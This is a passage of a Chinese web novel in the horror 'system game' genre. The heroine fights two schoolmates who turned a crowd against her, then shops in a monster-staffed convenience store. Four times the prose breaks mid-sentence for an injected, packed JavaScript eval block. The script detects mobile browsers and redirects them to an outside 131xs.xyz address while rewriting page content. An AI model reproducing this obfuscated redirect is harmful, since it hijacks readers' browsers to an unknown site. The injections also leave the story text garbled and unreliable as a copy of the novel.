他在说话时一直开着天赋，离他最近的、和他一样因为各种原因嫉妒不满的学生最受影响。他们听着王豪的发言，看向晏无波的目光逐渐不善。 远一些的、自身意志和王豪强烈相悖、或意识比较坚定的学生没受太大影响，比如沈炙，再比如没穿衣服出副本的男生。 男生经历过人生最大的社死场景，现在很难有事情影响到他。 “日你仙人！”他身上套着学校积压的陈年军训服，站在外围蹦着高骂，“莫在那儿豁别个！你爬过来，老子铲你两耳屎！” 由他开头，天南海北的方言都被炸了出来，王豪家里的户口本撕了一页又一页。 更多的人觉得让晏无波做个演讲也没什么不好，说说话而已，又不亏什么。便选择帮王豪说话，站在人堆里大声反驳。 舆论中央的晏无波头一次听到这么多骂人的花样，大开眼界。 “别吵！”她站了起来，挥手让大家先别骂，让她发表下感言。 学生们聚集在晏无波附近，破晓队员也凑在外围，饶有兴致地看戏。 “我不是假好人。”她扫了眼看她对她眼神不善的人们，大方承认：“我连好人都算不上，我这个人自私又记仇。下次你们在副本遇见我，别指望我，死在我面前我也不会救。” 她顿了下，继续道：“不，还是别遇到我。我那么记仇，会亲自动手。” 整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407691|184566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个体育馆瞬间鸦雀无声，随即爆发出巨大的骚动。 周凯杰指着晏无波厉声道：“你这是要与全天下人为敌吗？” 晏无波看完了所有人的出价，决定和给D级治愈道具的人交易。 交易成功，诡异系统没有收取任何手续费，完好无损的把20万花币和D级道具发到她背包里。诡异系统不通现实银行，20万花币全是现金，在背包里单独占了个格子，右下角显示余额。 “别太拿自己当回事儿。”晏无波把自由属性点全加在力量。 她站起来，轻轻对周凯杰笑着：“你们是你们，天下人是天下人，别私自扩大范围。” 晏无波平常很累，表情并不灵动。她此刻笑了，周凯杰还以为她不想得罪他，态度有所缓和。 正当他想继续说话时，一只不厚实却充满力量的拳头轰在他脸上。 “嘭！” 一声闷响。 周凯杰整个人向后飞起，砸进人群之中。 被打出去的周凯杰还飞在半空时，晏无波又一把揪住王豪的衣领，将他瘦弱的身体狠狠背摔在地。 王豪的后背与地面猛烈接触，后脑勺也因为惯性砸在地上，砸得他眼冒金星。 他甚至来不及惨叫，紧接着，雨点般的拳头落了下来。 晏无波骑在他身上面无表情地左右挥拳，她每一拳都精准地砸在王豪两侧的脸腮，将他的牙齿一颗颗敲落。 被锤进嗓子眼里的痛哼声，与拳头与血肉碰撞的沉闷声交替出现，叫在场所有人都不敢呼吸。 晏无波没有怒吼，也没有回骂，只是一拳拳地痛击对方。 冰冷又沉默的暴行，让在场的学生们胆寒。 晏无波喘了口气，眼睛闪现金光，对方的生命还剩20点。 再补一拳。 又是一记狠拳落下，王豪的脸已经看不出人样，像一团深红色的饺子馅。 一直在外围看热闹的破晓女队员挤过来，她笑盈盈的说道：“同学，停手吧，打死就不好办了。” 晏无波听话停手，她明白轻重，出拳时有留力。王豪只是看着恐怖，并不致命。 “急救喷雾”落在掌心，她朝王豪脸上比了下。白色的雾气喷出，王豪被揍得五官模糊的脸以肉眼可见的速度恢复。 但他被敲落的牙齿没有重新长出。 喷雾与林薇的治愈一样，只能治疗，不能弥补缺失的部位。 运动过后，晏无波眼皮更垂了，疲惫道：“我是良民。” 女队员指了指地上的血牙。 晏无波长腿一扫，牙齿消失在人群脚下，“谁把鲨鱼玩具拿来了，塑料假牙落一地也不捡，真没素质。” 周围的学生们欲言又止，止言又欲，没一个敢吭声。 女队员“嘿嘿”一笑，没追究晏无波的暴力行为。 要不是怕出人命，她才不管这些。 晏无波扭头去找被她打飞的周凯杰，想看看这人还要发表什么“高见”。 周凯杰脸上挂着一圈瘀青，额头不断冒汗，嘴闭得死死的，躺在地上装晕。 “还有事？”晏无波往与王豪一起过来找他的某个男生走去。 男生脸色煞白，一连往后退了好几步。 揍过人的双拳像是戴了一层红色的胶皮手套，让他不敢直视。 “都没事了？”晏无波环视着鹌鹑般安静的校友，“没事我可走了。” 12. 第 12 章 沈炙屏息看着晏无波。 和外出兼职数次与死人擦身而过、又在副本见识过种种残酷的晏无波不同。沈炙目前在现实中遭遇的最大恐怖，不过是她在副本扔垃圾时看到的宿管的脸。 沈炙从没见过这样的晏无波，心脏怦怦直跳。她偷瞄着晏无波的双手，对方指尖滑落的血，像是砸在她心上。 在她的印象里，晏无波温和友善，只是性子有点软，总是被林薇三人挤兑。所以不管是在现实还是在副本，每当晏无波被他人挑衅，她总是自愿当晏无波的嘴替，替这个不善言辞的学妹发声。 可今天晏无波表演让她猛然发觉，自己以前对她的认知完全错误。 仔细想想，林薇三个人对她言语上的挤兑和那些上不了台面的小动作，真的对晏无波造成了什么困扰吗？ 晏无波…… 真像她想象中的那样好么…… “学姐。”晏无波问沈炙道：“我要出去找地方睡觉，你要一起来吗？” 沈炙的思绪被打断，有了一瞬间的迟疑，“嗯？我啊……” 晏无波顺着她的视线低头，嘴唇轻抿，甩了甩手上的血开口道：“我还是自己去吧。” 说罢，她头也不回地转身离开。 然而晏无波刚迈出两三步，在她身后突然出现了一声极清脆的耳光的声音。 一连串脚步朝她跑过来，沈炙红肿着一半脸，坚定地握住晏无波沾满血迹的手。 “对不起啊，刚才有点被你吓到，不过现在好了。”沈炙脸上的掌印和她自己的手的大小完美符合，从肿起来的轮廓看，她下手颇重。 不过沈炙还觉得自己打轻了，在心里暗骂自己真不是人。 晏无波平常对她那么好，这次不但把她完好无损的带出副本，还不要她的道具……她刚才怎么能产生那种想法！ 林薇那三个，现在围攻晏无波的这些，哪个不是垃圾？ 统统该死！ 晏无波低头，一眼看到了沈炙脸上的巴掌印。 她刚才没生气，只是觉得以后两个人很难再保持联系了。 手心里的那只手还在轻轻颤抖，紧密接触的皮肤传来的脉搏频率表示对方还未平静。 晏无波将刚才的不快抛在脑后，拉着她一起向外走，“随便找家旅店吧，先洗个澡。” 沈炙还沉浸在愧疚中，迷迷糊糊地点头，都没去想晏无波哪来的钱住旅店。 破晓的女队员看完了戏，心满意足地咂咂嘴，大声道：“不好意思，打断一下你们黏黏糊糊的闺蜜情。” 她乐颠颠地小跑到两人面前，扎起来的高马尾像条猫尾巴，在她后脑勺一甩一甩。 “自我介绍一下，我叫徐立羽。” 徐立羽一手刀劈开两人交握的手，笑眯眯道：“沈同学，你似乎是有加入破晓的意思？这样的话别出去了，跟我来办个入职手续。而且领导指不定什么时候开会，我怕你赶不回来。” 众所周知，领导（大部分）是比诡异拟人不了多少的生物。他们的思维异于常人，总是在不合适的时机开会，常理无法判断。 在外打工许久的晏无波深有感觉，立刻放开沈炙的手，“那学姐你去忙吧，我走了。” 第二阶段的任务还在倒计时，她就不陪沈炙入职了。 晏无波腿长走得快，没一会儿就消失在两人眼前。 徐立羽伸出尔康手，“哎！” 她还想问问晏无波要不要进队呢…… 顾夜白说她天赋太低，但天赋低又不是没有厉害的。 算了，有沈炙在，以后还有机会。 晏无波边走边查几小时之内就能达到的低等级、还能消费的副本。 她最先想到的是自己打工的超市，前天刚刚被吞，在天环购物中心的负一层。 但点开官方制作的地图后，晏无波发现这个刚刚出现的副本评级竟然是C。不止负一层的超市，整个天环购物中心都被吞了，变成大型副本。 晏无波再想要奖励，也不会去那送死。 随便订了间旅馆，她清理干净身体后躺在床上继续筛选副本，顺便让跑腿帮自己买套新衣服送过来。 筛选副本的时候，晏无波顺便查了冥币相关信息。 冥币在论坛上讨论度不大，目前还没有玩家找到稳定获取冥币的办法。大多数人只能借着副本任务拿点零钱，这点零钱还要被诡异找茬克扣，没办法用它做什么。 最近的一条帖子还是玩家出副本后的骂街帖，帖主说自己在副本里累死累活一天挣十个冥币，但是被诡异老登碰瓷。老登要他赔20个，他差点因为赔不起死在副本里。 找不到太有用的，晏无波将注意力再次转回到限时狂欢任务上。 市内可能有交易属性的副本，还有个E级的微笑便利店，每晚八点开启。据论坛描述，这个副本在不断扩大，有升级倾向。最新的消息已经扩展中型的生鲜超市，只是名字还没变。 不过涉及规则之类的具体信息，就没有玩家愿意免费提供了。 晏无波看了看价格，感觉自己刚赚的20万花币真不值钱。 临市倒是有个被玩家们评价为“比较容易”的E级两元店，但是从店铺的外观看，里面的东西可能连阶段二的消费一万冥币都满足不了。 担心去再远的地方有可能会在途中被吸入无关副本，晏无波最终决定去微笑便利店“消费”。 唤出神豪系统面板，她拜托金元宝道：“我睡会儿，时间到了你叫我一下。” 经过宿舍副本的时间陷阱，她现在对手机很不放心。 金元宝撅着屁股从边框上滑下来，坐在枕头边说道：“好哦。” 面板在，晏无波就能摸到它。她搓了搓元宝，起身拉上窗帘，开着面板睡着了。 金元宝把面板缩小到巴掌大，挪到更远一些的位置。微亮的面板像盏小台灯，在房间里散发着微弱的光。 …… 临近晚上八点，晏无波穿着新卫衣新牛仔裤，到达了便利店所在的幸福小区。 受副本影响，这个小区的居民几乎全部搬离，冷清得不像个市中心小区。 越靠近便利店，周围越寂静，路旁的灯光也越暗。 一张粉色花币凭空出现，自上而下晃晃悠悠朝晏无波落下。 这里连人都快没了，怎么会出现纸币？ 晏无波本能的意识到不对，往旁边躲了躲，任凭这张钱落到地上。 她打开手机手电筒，继续朝地图标注的便利店方向走。几分钟后，一间亮着冷白色灯光的商铺出现在眼前。 商铺前已经站了7个人，其中两个人脏话连篇，从声音听是两个中年男人。 他们很是愤怒，同一件事翻来覆去的骂，即便晏无波听不清楚，也从只言片语中了解到他们愤怒的真相：这两个人看到地上的火辣美女卡片，以为是PC广告。但等捡到手，卡片又变成副本邀请函，通知他们过来“打工”。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407692|184566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>晏无波一下子想到刚才那张奇怪的钱币，大概率也是打工邀请。但钱币让她躲过去了，并没化作邀请函。 这样的话，她今晚还能进去么…… 手机电筒在黑暗的环境下很显眼，站在商铺门口的几人很快发现了晏无波。 晏无波个儿高，又是短发，宽松的卫衣和牛仔裤看不出身形，让刚才说话的两个人下意识以为她是个男的。 “哎，兄弟！”两人中的啤酒肚男人朝她招手，“你也是被骗来的？” 晏无波没开口，继续朝前走。待她走近，精致优越的眉眼被便利店的光芒照清，众人才发现来的是个女人。 最热情的啤酒肚很大声“嗨”了句，“怎么是个女的。” 人是那个人，身高是那个身高，只不过性别变了，就会被莫名轻视。 “女的怎么了？”和他对话的干瘦男人嬉笑了声，“你找的不就是上夜班的女的吗？” 两个人意味深长地说笑着，完全没把晏无波放在眼里。 晏无波金色的眼瞳在黑夜中一闪而过，两人神色一凛，慌忙摆出对战姿势。 【您当前品质为E-，目标品质为E，越级观测需要付费100冥币/分钟，是否观测？】 VIP美瞳在体育馆使用过三次，抛去阶段二需要的一万，零头剩370，够用。 【丘志宽，lv10，天赋：预警（C），力量10，敏捷8，体力7，智力5，魅力3】 【徐永斌，lv11，天赋：甩锅（B），力量11，敏捷10，体力8，智力4，魅力4】 天赋品质够高，但从属性看，这两人完全不像比晏无波高出七八个等级。 晏无波3级，五大属性分别为：力量11，敏捷7，体力8，智力6，魅力9。不算无法加点的魅力，前四属性总和与这两人差不多。 不过她只稍微想了下，就明白问题出在哪了。 初始属性根据身体基础情况判定，这两个人年纪大，身体又被酒色掏空，五属性从一开始就落后于晏无波。 他们两个比晏无波多出来的升级点数，全用来弥补初始差距了。 不过比研究他们两个更重要的是…… “系统，能不能把美瞳金色去掉，或者常开，一晃一晃的也太容易暴露我了。”晏无波对美瞳的功能很满意，对它的颜色颇有微词。 金元宝骂骂咧咧地跳进道具栏，“既要又要，我再给你炒俩菜呗？” “也不是不行。”晏无波淡笑着往前走。 两个中年男人如临大敌，一个掏出手电筒，一个掏出板砖。 他们两个下的都是E级副本，从没拿过首通奖励，道具至今才攒了一个。非特殊情况，他们真不想在副本外就用上…… 晏无波瞥了他们一眼，什么都没说。 她又不莽，不能碾压两人的情况下，说狠话吵嘴架有什么用，反倒让对方警惕。 等进了副本，找机会直接杀就是。 徐永斌见晏无波没什么表情，不反击也不回嘴，以为晏无波是怕了他们。他的肩膀渐渐放松，展露出得意的表情，朝邱志宽打眼色。 邱志宽等了会儿，见晏无波真的不找他们茬，才收了道具继续和徐永斌放肆胡侃。 但门口的另外五人却是绷紧身体，对晏无波愈发防备。 其中一名头发及肩、看起来三十多岁的男人，拨弄着手上的佛珠，突然冲晏无波说道：“这位施主，是否杀心过重了？” 13. 第 13 章 男人面色红润，体型微胖，穿着灰色僧袍。抛开他过长的头发，外表看起来与僧人无异。 见晏无波的视线落到自己身上，男人堆起和善的笑脸，温和道：“施主无须为些小事徒增杀孽，因果业报，反伤自身。” 模样清秀的高中生双手插兜倚在玻璃门上，嘲讽般撇嘴，轻轻哼了一声。 身穿土黄色连衣裙、身材有些富态的中年妇女拽了下男生的校服，不赞同地看了他一眼，低声道：“乱哼什么。” “老师。”男生不服气地回嘴：“那俩人冒犯别人的时候，这位‘大师’可没说他们造口业。现在他们要为自己的行为付出代价了，‘大师’忽然又懂因果业报了？搞笑。” 中年妇女无奈地按了按眉头。 虽说她是班主任，但在副本这方面，还得听学生的。 他已经19级了，她才第一次进。 说起来还是她拖累学生了，要不是她误捡伪装成卷子的邀请函，他也不用特意跑一趟。 被劝诫的晏无波本人没恼，反而认真思考着僧袍男的问题。 和同在和平世界长大的其他人对比，她确实杀心太重。 如果沈炙在场，她会张嘴开骂，但不会像她一样立刻盘算着弄死他们。而这两个中年男人说话如此放肆，也是因为潜意识里，正常人不会因为口舌之争而杀人。 那为什么，她就能轻易做决定，难道……被天赋影响了？ “别赖其他统哈，你就这样人。”道具栏里的金元宝感知到她强烈的疑问，头也不抬地怼了一句。 它又捣鼓了美瞳几下，作出结论：“金色特效可以改成常亮，但是要1000万冥币，近期别惦记了。” 晏无波选择性忽略金元宝前一句话，只注意到后面的金额。 她眉头一沉，整体表情变动不大，但就是让人觉得她很不爽。 徐永斌听到僧袍男的问话，再看晏无波的表情，瞬间暴跳如雷。 僧袍男见势不妙，立刻大喝制止：“住口！” 但晚了一步，徐永斌还是将脏话骂出口：“臭XX，给你脸了是不是？不就说了几句，你又没掉块肉！” 邱志宽的表情也很难看，他以为对方退让了。谁知道会咬人的狗不叫，她竟然想杀人！ 晏无波本来还在反思自己是不是有点过分，可这两人明知自己犯贱，既不反省自己、也没感到抱歉，反而变本加厉地指责别人…… 嗯，一点不过分。 世界都不正常，她也没必要正常。 在晏无波重新下定决心的一刹那，僧袍男红润的脸色突然变白，印堂更是泛起一层青灰色。他喉头一鼓，“噗”地一声吐出一口鲜血。 这口血吐得某些人心慌，一直沉默不语的西装女人和棕发男人，更是往边上挪了几步，生怕波及自己。 【您当前品质为E-，目标品质为E+，越级观测需要付费500冥币/分钟，是否观测？】 零头不够，即便晏无波猜到僧袍男有问题，也只能遗憾关掉美瞳。 徐永斌和邱志宽看到晏无波眼睛又闪了金色，还以为是她动的手。两人一左一右蹲在僧袍男身侧，想把他扶起来。 然而僧袍男却一改和善态度，猛地甩开他们的胳膊，像洁癖一样不停拍打被他们碰过的地方。他擦擦嘴角的血，抬头冲晏无波咬牙道：“施主，你真是冥顽不灵！” “喏。”高中生朝自家班主任努嘴，“遇到这种大善人，多个心眼准没错。” 被甩开的二人满脸错愕，眼神在僧袍男和晏无波之间来回摇摆，完全摸不着头脑。 气氛僵持间，时间来到晚上八点整。 店门缓缓打开，一股莫名的力量将门口捡到邀请函的7人全部拽入店内。 晏无波不受影响，依然留在原地。 金元宝催促着：“快快快！回去把那张□□捡了！”临门一脚，这要不进去，它今晚能气得死机。 晏无波看着被浓雾遮住的门口神色莫名。 光能进去没用，她来消费，不是来打工。万一员工不能购买商品，那这趟白来了。 不能以顾客的身份进入吗？ 她试探性地抬脚往浓雾中迈了一步，下一瞬，周遭场景陡然转换。 诡异系统难听的提示音响起： 【已进入E级场景：微笑便利店。】 与论坛里说的一样，这间便利店内部空间极大，甚至划分了生鲜、熟食区。店内灯火通明，干净整洁到不像诡异副本。 几名诡异员工分散着站在货架前，微笑地看着入场的人类员工。 或许那不算微笑，只是一种奇特的造型。 他们的嘴巴和眼睛像被无形的钩子挂住，生硬拉扯成僵硬的U字。受上下五官挤压，中间的颧骨处脸肉鼓胀成两颗饱满的肉瘤。被肉瘤撑开的皮肤在便利店惨白的灯光下反射着油润的光，隐隐透出皮下青色的血肉。 晏无波打量四周，后方出口同样被浓雾笼罩，两侧的墙上贴满重复的宣传海报。先前进来的7人被直接传送到便利店的中央区域，她则站在摆闸之外。 其他人摆弄着胸前由邀请函变换而来的工牌，努力记着员工基础守则，没人注意到晏无波的特殊。 晏无波没着急进场，凑近宣传海报前查看。 【微笑便利，便利之选】 【欢迎所有豪爽顾客光临选购，高质低价，包您满意！】 【本店按消费金额划定会员等级，等级越高，越划算！黑钻会员还可享受专属管家为您贴心服务哦！】 这几个放大的彩色字体下面，还有一大排几乎与背景融为一体的细密白字。 【非本店员工注意：】 【1、没钱别进。】 【2、请勿触摸价值高于自身携带冥币的商品。】 【3、顾客间禁止斗殴。】 【4、不得无故损坏店内财产。】 【5、禁止偷窃、逃单、退单等行为。】 【6、以上条款仅针对普通顾客，会员按会员等级享有特权。】 【本店解释权归店长所有（黑钻会员除外）。】 【最终解释权归微笑便利连锁总部所有。】 这海报几乎把“拜金”两个字印在上面，有钱怎么都行，没钱就滚。 但除了语气不太友好，它的规则宽松到不像是个即将升级的E级副本。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407693|184566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 等等…… 晏无波打开诡异系统，发现任务栏纯黑一片，什么都没有。 她回想了下，刚才系统提示说的是“场景”，并非“副本”。 也就是说，她不需要达到特定目标，随时可以进出？ 先等等，不急试验，把限时任务做完再说。 在晏无波查看非员工规则的时候，另外7人已经记完员工基础守则。 留给人类员工的工作有八个，分别是：收银员、零食推销、生鲜处理、迎宾、熟食制作、仓库管理、货架整理、清洁。 每个工作规则不同，只有将工牌挂在指定的位置，规则才会显现。 从表面推测，收银员、零食推销、迎宾会跟大量诡异打交道。而“生鲜处理”，光听名字就觉得不好干。 僧袍男调整好了情绪，提议道：“同为人类，也没什么深仇大恨，让我们忘了刚才的不愉快，合作通关如何？” 众人纷纷点头附和，而拿到了第一个天赋的女教师、以及听完女教师叙述的高中生却疑惑至极，频频朝摆闸外的晏无波看去。 为什么S级天赋“指引”给出的通关提示，会指向一个看起来很不好相处的……人？ 见大家没有抢跑的意思，僧袍男继续说道：“如果诸位不介意，我愿认领‘迎宾’一职。” 直面诡异的工作少了一个，即便是刚刚被僧袍男不给面子甩开的邱志宽和徐永斌，对此也没有异议。 徐永斌瞄了眼晏无波，小声道：“为了保证咱们的生存率，得让最厉害的人去干最重要的活。我觉得咱们8个人里，就那丫头最厉害，不如把‘生鲜处理’让给她怎么样？” 他的动机过于明显，但无人反对。 中年教师眉头紧锁，她的天赋“指引”幻化出来的箭头前所未有地躁动，似乎有崩塌的倾向。 她看了眼学生，见他默默点头，便顶着压力大声朝晏无波喊：“那位……女士！我们在商量工作分配，你要不要过来一起？” 这举动让在场众人大为吃惊，徐永斌更是恼火，破口大骂道：“死娘们！关你鸟事？” 高中生不客气地嘲讽：“狗叫什么？只敢在背后下套的怂包。” “你%￥%*&……”徐永斌大声辱骂着。但正如高中生所言，在对方人数和他们持平、甚至有可能更多的时候，他不敢轻易动手。 而这时，晏无波的右手搭在墙边摆着的一长串购物车上。 “咔。” 购物车发出轻微的碰撞声响。 原本注视着内部7人的诡异员工们猛地转头，一双双粗糙干燥的全黑眼珠眨也不眨，直勾勾盯着触碰购物车的那只手。 徐永斌的脏话卡在喉咙，吞也不是吐也不是。他捏了捏嗓子，紧张又幸灾乐祸地看着，巴不得赶紧出事。 处于视线中心的晏无波没有半分恐惧，继续把另一只手搭上去。 她将选定的购物车从长列中拽出，扭头对提醒她的那位老师说道：“谢谢，但我不工作。” 购物车驶过摆闸。 下一秒，冰冷阴森的广播声突兀地在超市内响起： 【全体员工注意，顾客已入场！】 14. 第 14 章 广播连放三遍，生怕员工听不见。 播放完毕后，诡异员工们脸上的微笑更夸张了，或尖细、或沉闷的嗓音从他们的喉咙处发出：“欢·迎·光·临！” 便利店渐渐“活”了，生鲜区冰柜里的肉块骨头不停敲打柜门，仓库内发出阵阵异响，货架上的商品接连调整位置，清洁区的拖布也滴下了点点血渍。 店内从寂静变得嘈杂，一切都在欢迎顾客的到来。 徐永斌脑瓜子嗡嗡的，嘴巴张了半天，一个字都说不出来。 进的同一个副本，怎么就她特殊！ 邱志宽额头的汗“唰”一下就下来，万分后悔自己的嘴贱……不，刚才道歉说不定也来得及，哪至于像现在下不来台。 员工和顾客，两个身份一看就能相互配合。 晏无波推着购物车，走到货架前查看商品价格，其他人的视线随着她的移动而移动。 高中生双脚分开，做出时刻要跑的姿势。他戳了戳班主任的后腰，给她使了个眼色，让她先跑。 班主任心领神会，趁其他人的注意力还在晏无波身上时，踮着脚悄悄后退。 顾客身份，再结合天赋提示，收银说不定会是最容易达成目标的工作…… 她将自己的工牌挂在收银台上方。 超市广播适时响起： 【收银员左文宁已到岗，请其他员工在三分钟之内到达工位，迎接顾客！】 等老师彻底拿下工作，高中生才快速跑出去，将自己的工牌挂在离收银台最近的零食区。 【零食推销员祁景已到岗，请剩余员工尽快到岗！】 连续两个位置被抢占，其他人这才如梦初醒。 “草！”徐永斌大骂一声，立刻朝清洁区狂奔。 但看着没什么能力的棕发男速度竟然是最快的，他像风一般越过徐永斌，眼看着就要把工牌挂上去。 徐永斌想都没想，板砖又掏了出来，狠狠朝棕发男后脑砸去。 这一击他没留力，把板砖的坚硬特性将棕发男的后脑瞬间击碎，红色血浆溅了一地。 棕发男的身体随着惯性俯冲向前，叽里咕噜地在地上滚了好几圈，最后歪躺在地，生死不明。 西装女和邱志宽的速度不分上下，两人都不想浪费天赋和道具，你一拳我一脚，撕扯着朝货架整理员的工位上跑。 在数值差不多的情况下，邱志宽的短腿胖肚是个劣势。但他不要脸，噘着嘴朝西装女吐了好几口痰。 西装女恶心到五官紧皱，下意识地往后退。 【清洁工徐永斌已到岗，货架整理工邱志宽已到岗……】 “你给我等着！”西装女恨恨地剜了他一眼，转身往库房走。 【库房管理员郭明已到岗……】 等其他人都选完，僧袍男把棕发男拖到熟食制作区，自己如之前所言，选了看起来最危险的迎宾。 【熟食制作工纪普已到岗，迎宾员潘越龄已到岗。】 7人全部落位，超市缓缓放出了阴森刺耳的背景音乐。 【所有员工已到岗，微笑便利正式开始营业。】 【店长将于20点30分前来巡查，请员工做好准备。】 【本店今日特卖：僵尸肉，3.99币/块。因员工不足，有需要的顾客请在22点后前往生鲜区选购。】 别人打得如何激烈和晏无波无关，她的注意力都在货架上。 诡异世界的商品没她想象中恶心，品类跟人类社会差不多，只是更符合诡异们的口味。 发发薯条，材料表：头发、藻类、老鼠指甲……，售价5冥币。 香辣眼珠，材料：眼珠、催腐剂……，售价12冥币。 断情音乐盒，材料表：眼泪、骨灰、刀片……，售价39冥币。 全是无品质的普通商品，晏无波用VIP美瞳鉴定了几件，美瞳都懒得管她要钱。 上面列出的说明也和商品包装差不多，只多了条提醒：人类慎用，用多伤身。 粗略逛了遍，晏无波停在酒类货架前。 恒河酒，由人类世界河水制作而成，售价200冥币一瓶。 长臂一扫，货架上的24瓶全部拿下。 手指香烟，由赌徒剁下的第一根手指制作而成，售价500冥币一条。 继续扫，十条香烟投入购物车。 酒4800冥币，烟5000冥币，阶段二只剩200冥币的消费额。 货架像有意识一样，见晏无波“喜欢”高价烟酒，不断将这部分商品往前推。而空着的位置冒出丝丝鲜血，提醒负责整理货架的邱志宽尽快补货。 邱志宽正在按照货架整理员的规则，盘点货架初始商品数量，忙得脚后跟不着地。货架本来就鸡贼，跟他玩手段藏东西，这会儿晏无波清空货架，他还要去仓库补货。 想到自己刚才朝郭明吐痰，邱志宽又一次后悔。 他今天和女人犯克！ 闹心的不止邱志宽一个人，收银台的左文宁查现金查得嗓子冒火。 她手里的冥币金额总是变动，数了十几次，没有一次金额相同。 零食区的祁景帮不上忙，他在跟库房的郭明对接，要拿“试吃样品”。但郭明要先清点库房，没时间管他。 选了迎宾的僧袍男潘越龄相对而言比较清闲，他在晏无波刚才站的位置看海报。 忽然，他像是感觉到了什么，立刻回身，朝空地深深鞠躬，吐字清晰地说道：“顾客晚上好，欢迎光临微笑连锁店，祝您购物愉快！” 腥臭的气息从他头顶飘过，“啪嗒啪嗒”的水声渐渐远去。 潘越龄低头看，一长串水脚印从门外延伸至超市内，而超市广播安安静静，没再出现广播提示。 除了他，没人知道另一位顾客已经大驾光临。 徐永斌趴在地上，卖力地擦拭被他的砖头砸出来的血渍，对身后路过的水脚印浑然不觉。 潘越龄什么都没说，继续转头看海报。 时间一点点过去，包括邱志宽在内，其他人都完成了自己的前置任务，只有左文宁还没数好冥币金额。 高中生祁景分好了试吃零食，赶过来帮忙数，但数出来的金额同样不固定。 他把冥币平摊在桌面，这些冥币彻底不演了，在他眼皮子底下变换金额。 “你丫……！”他气得额头暴起青筋。 晏无波推着满满一车商品，来到了收银台。 “结账。” 最后的200冥币她随便拿了点东西凑成10014，能一次性完成二阶段狂欢任务。 20点25分，离店长巡查还有五分钟，左文宁有些心灰意冷。他看了看年轻的晏无波，又看了看还有两个月高考的祁景，长叹一口气道：“祁景，你回去吧，我先给她结账。” 既然她通关不了，就别耽误别人通关了。 祁景攥着冥币不肯走，挤开左文宁央求晏无波道：“姐姐，可不可以等两分钟，让我老师先把钱数了？” “哎呀，你快走吧！”左文宁推搡着祁景，骂道：“等店长过来发现你不在岗就完了！我这么大年纪了，不是死这儿也早晚被你们气死……” 离任务二结束还有一个多小时，单纯做任务来说，晏无波不差这两分钟。但顾客的规则并不安全，写了“顾客间禁止斗殴”，但也给了“会员按会员等级享有特权”的注释。 普通顾客的她极有可能被其他会员当做盘中餐，所以她必须尽快结算，将自己的会员等级尽可能提高。 “结账。”晏无波再一次重复道。 哪怕已经做好了死亡准备，左文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407694|184566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁依旧害怕到泪眼婆娑。她哆嗦着拿起手持机，在酒瓶上扫了一下。 明明那么多工作可以选，她偏偏选了个收银……早知道就不依赖天赋了！ 祁景双唇紧抿，不甘地捶了下收银台，但没对晏无波恶语相向，而是把冥币又摊在别处，继续查找问题。 他的手也在颤抖，即便进了那么多次副本，熟悉的人可能死在自己面前这件事，还是让他心头发紧。 就在他紧张地翻弄冥币时，一只细长的、略微粗糙的手覆在了其中一张冥币上。 女人金色的双瞳在便利店白色的灯光下依旧醒目，她盯着那张冥币，双手指尖微微用力…… 嘶啦。 冥币被撕成两半。 晏无波用了美瞳，但没彻底用。不需要花钱，一堆无品质冥币里蹦出来一个弹提示框的，是人都知道问题出在哪儿。 被撕坏的冥币颜色慢慢退化成灰色，白色的“乐宝玩具币”字样印在上面。 祁景呆愣了几秒，进而眼中迸发出狂喜。他趴在桌上数了三遍，才扭头对左文宁到：“513！老师你数数看！” 晏无波把手按在其他冥币上，对左文宁道：“继续结账。” 左文宁脑子转不过来弯，这前置任务都把她做绝望了，在别人手里就这么轻松完成了？ 她感激地看了眼晏无波，手上动作不停。 “总计：一万零一十四冥币。” 最终数额列出，第一次进入副本的左文宁不知道这个数字意味着什么，全身上下只有三块钱冥币的祁景震惊了。 但又有些忧虑。 他不知道顾客的规则是什么，但拿这么多东西还没冥币付款，后果一定不妙。 “姐……” 一摞厚厚的冥币砸在桌上。 晏无波手里捏着14块零钱，疑惑地看着祁景：“嗯？” 祁景羞惭捂脸，“没什么。” 